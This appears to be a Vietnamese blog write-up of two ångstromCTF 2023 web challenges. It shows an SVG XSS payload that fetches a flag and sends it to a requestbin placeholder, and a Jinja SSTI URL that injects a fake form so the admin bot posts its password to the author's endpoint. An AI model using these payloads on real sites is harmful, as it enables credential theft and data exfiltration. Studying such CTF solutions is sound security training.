Logo
Writeup ångstromCTF 2023

Writeup ångstromCTF 2023

April 26, 2023
5 min read
Table of Contents
index

hallmark

Send your loved ones a Hallmark card! Maybe even send one to the admin 😳.

Chall có admin bot -> có thể là XSS. Web cho chúng ta 2 lựa chọn:

  • Tạo thiệp chỉ chứa mỗi text

  • Tạo thiệp chỉ chứa hình ảnh

Vì khi tạo thiệp bằng text thôi thì Content-type của response sẽ là text/plain -> không thể sử dụng html tag để inject script nhằm xss.

Khi tạo thiệp bằng hình ảnh thì server chỉ lấy mỗi svg có sẵn nên chúng ta cũng không thể làm gì cả. Nhưng trong src lại có:

Đoạn code này dùng để cập nhật những thông tin về tấm thiệp chúng ta tạo và vấn đề xuất hiện ở đây:

Đầu tiên server sẽ kiểm tra xem type có phải image/svg+xml không. Nếu không sẽ set type = text/plain. Tiếp theo lại tiếp tục check xem type có phải image/svg+xml nếu có thì sẽ lấy ảnh từ svg có sẵn còn nếu không sẽ lấy giá trị từ content

Điều đáng nói ở đây là dòng trên dùng == (equality) mà dòng dưới lại dùng === (strict equality).

  • Với == thì cho phép ép kiểu. Ví dụ: 1 == “1” sẽ trả về true vì các giá trị bằng nhau nếu chúng ta chuyển chuỗi “1” thành số

  • Với === không cho phép ép kiểu. Nó chỉ trả về true nếu các giá trị được so sánh cùng kiểu và có cùng giá trị

Vậy nếu chúng to set type[]=image/svg+xml thì dòng 1 sẽ return True còn dòng 2 sẽ là Flase

-> Chúng ta có thể tạo 1 tấm thiệp với Content-typeimage/svg+xml với nội dung mà mình có thể kiểm soát

-> thành công hiển thị svg của mình -> XSS time

<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<rect x="10" y="10" width="80" height="80" fill="#0074d9" />
<circle cx="50" cy="50" r="35" fill="#ffffff" />
<script type="text/javascript">
fetch("/flag")
.then((response) => response.text())
.then((flagData) => {
fetch("<requestbin>/?ans=" + flagData);
})
.catch((error) => {
console.error(error);
});
</script>
</svg>

Gửi request với content như thế này lên sau đấy gửi url dẫn đến card này -> flag

Terminal window
actf{the_adm1n_has_rece1ved_y0ur_card_cefd0aac23a38d33}

brokenlogin

Talk about a garbage website… I don’t think anybody’s been able to log in yet! If you find something, make sure to let the admin know.

Terminal window
from flask import Flask, make_response, request, escape, render_template_string
app = Flask(__name__)
fails = 0
indexPage = """
<html>
<head>
<title>Broken Login</title>
</head>
<body>
<p style="color: red; fontSize: '28px';">%s</p>
<p>Number of failed logins: {{ fails }}</p>
<form action="/" method="POST">
<label for="username">Username: </label>
<input id="username" type="text" name="username" /><br /><br />
<label for="password">Password: </label>
<input id="password" type="password" name="password" /><br /><br />
<input type="submit" />
</form>
</body>
</html>
"""
@app.get("/")
def index():
global fails
custom_message = ""
if "message" in request.args:
if len(request.args["message"]) >= 25:
return render_template_string(indexPage, fails=fails)
custom_message = escape(request.args["message"])
return render_template_string(indexPage % custom_message, fails=fails)
@app.post("/")
def login():
global fails
fails += 1
return make_response("wrong username or password", 401)
if __name__ == "__main__":
app.run("0.0.0.0")
Terminal window
module.exports = {
name: "brokenlogin",
timeout: 7000,
async execute(browser, url) {
if (!/^https:\/\/brokenlogin\.web\.actf\.co\/.*/.test(url)) return;
const page = await browser.newPage();
await page.goto(url);
await page.waitForNetworkIdle({
timeout: 5000,
});
await page.waitForSelector("input[name=username]");
await page.$eval(
"input[name=username]",
(el) => (el.value = "admin")
);
await page.waitForSelector("input[name=password]");
await page.$eval(
"input[name=password]",
(el, password) => (el.value = password),
process.env.CHALL_BROKENLOGIN_FLAG
);
await page.click("input[type=submit]");
await new Promise((r) => setTimeout(r, 1000));
await page.close();
},
};

-> Admin sẽ nhập vào flag vào form sau đấy bấm submit

Từ src có thể thấy login auto fail :) Nếu method là GET thì server sẽ check xem trong chuỗi truy vấn của request có tham số message hay không. Nếu có thì render ra page cùng số lần fails.

Có thể là SSTI do message mình có thể kiểm soát và render trực tiếp ra. Thử với payload {{7*7}}

Ok đã SSTI được bây giờ chúng ta cần sử dụng lỗi này để ghi đè một form khác lên page đển admin bot nhập flag vào và gửi đi.

Điều kiện là độ dài của message không được >= 25 -> không thể viểt hẳn cả cái form vào và hơn nữa message còn được escape -> cho dù dùng filter |safe thì cũng không thể dùng html tag trực tiếp vào đây.

Chúng ta có thể sử dụng request.args.c để lấy data từ cùng tham số c và dùng |safe để render vào page mà không bị ảnh hưởng bời hàm escape.

Payload sẽ có dạng:

Terminal window
/?message={{request.args.c|safe}}&c=<bad-stuff-here>

Với việc {{request.args.c|safe}} chỉ dài có 23 kí tự thôi thì sẽ hoàn toàn khả thi.

Tham số c sẽ có giá trị:

<form action="<my-end-point>" method="POST">
<h1>F1RST FORM</h1>
<label for="username">Username: </label>
<input id="username" type="text" name="username" /><br /><br />
<label for="password">password: </label>
<input id="password" type="password" name="password" /><br /><br />
<input type="submit" />
</form>
<!--

Cuối đoạn code có <!-- để comment form cũ đi

Url cuối sẽ có dạng

Terminal window
https://brokenlogin.web.actf.co/?message={{request.args.c|safe}}&c=%3Cform%20action=%22%3Cmy-end-point%3E%22%20method=%22POST%22%3E%20%3Ch1%3EF1RST%20FORM%3C/h1%3E%20%3Clabel%20for=%22username%22%3EUsername:%20%3C/label%3E%20%3Cinput%20id=%22username%22%20type=%22text%22%20name=%22username%22%20/%3E%3Cbr%20/%3E%3Cbr%20/%3E%20%3Clabel%20for=%22password%22%3Epassword:%20%3C/label%3E%20%3Cinput%20id=%22password%22%20type=%22password%22%20name=%22password%22%20/%3E%3Cbr%20/%3E%3Cbr%20/%3E%20%3Cinput%20type=%22submit%22%20/%3E%20%3C/form%3E%20%3C!--

Gửi link này cho bot. -> flag

Terminal window
actf{adm1n_st1ll_c4nt_l0g1n_11dbb6af58965de9}